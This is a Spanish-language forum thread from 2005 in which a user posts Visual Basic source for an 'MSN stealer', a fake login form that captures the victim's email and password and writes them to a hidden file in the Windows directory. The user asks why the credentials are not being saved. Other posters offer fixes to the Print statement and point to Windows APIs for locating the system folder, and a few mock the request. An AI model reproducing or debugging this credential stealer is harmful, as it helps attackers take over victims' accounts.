Hola. Tengo un pequeño problema con un código fuente que descargue de Internet, es el del ratero MSN, no me guarda ningún fichero con las contraseñas...Este es el codigo:
Citar Dim usuario$, pass$
Dim numfic%
usuario = txtCorreo.Text
pass = txtPassword.Text
numfic = FreeFile
Open "%SystemDrive%\windows\systemwin.txt" For Append As numfic
Print #numfic, usuario, pass
Close numfic
Open "%SystemDrive%\windows\memo.txt" For Output As numfic
Print #numfic, usuario
Close numfic
Unload Me
frmPrincipal.Picture = frmPrincipal.imgFondoInicio
frmPrincipal.Timer = True
frmPrincipal.Show
End If
A ver si alguien puede ayudarme...
Hay dos posibles fallos. uno es grave.
Print #numfic, usuario, pass
quedaria
Print #numfic, usuario & " " & pass
y podria cambiar %SystemDrive% por la ruta k prefieras, eso es todo, el error esta en lo primero.
Salu2
Aun reparando eso no pasa nada, y el %SystemDrive% lo coloque yo para q lo grabara en el disco donde esta wl Windows
ay 2 apis:
GetWindowsDirectory te da la ruta de windows
GetSystemDirectory te da la ruta de el systema
Salu2
ya pero aun no tengo la respuesta para poder grabar en el disco.
%SystemDrive% no es una funcion del vb xDD
Cita de: z3r0 Bug en 24 Noviembre 2005, 15:50 PM
ya pero aun no tengo la respuesta para poder grabar en el disco.
Me encule y sake el codigo
Esto no es una tienda.
Ya te dieron las 2 APIs ahora busca como las podes utilizar.
Cita de: NYlOn en 24 Noviembre 2005, 15:58 PM
%SystemDrive% no es una funcion del vb xDD
Lo tengo claro, pero si sirve para entrar a siertas carpetas son comandos rapidos es como colocar c:, pero en el caso q la persona no tenga el windows en el C: este comando redirecciona automaticamente. ej. el windows esta en el H:, %SystemDrive% me manda al disco H.... Igual Gracias por todo, estoy pidiendole ayuda al creador del codigo fuente..
por el momento el tema esta
cerrado... = gracias por ayudarme, aunque estoy algo enredado con el codigo :P, ya chao.
Citar
Lo q se tiene q leer hoy en dia...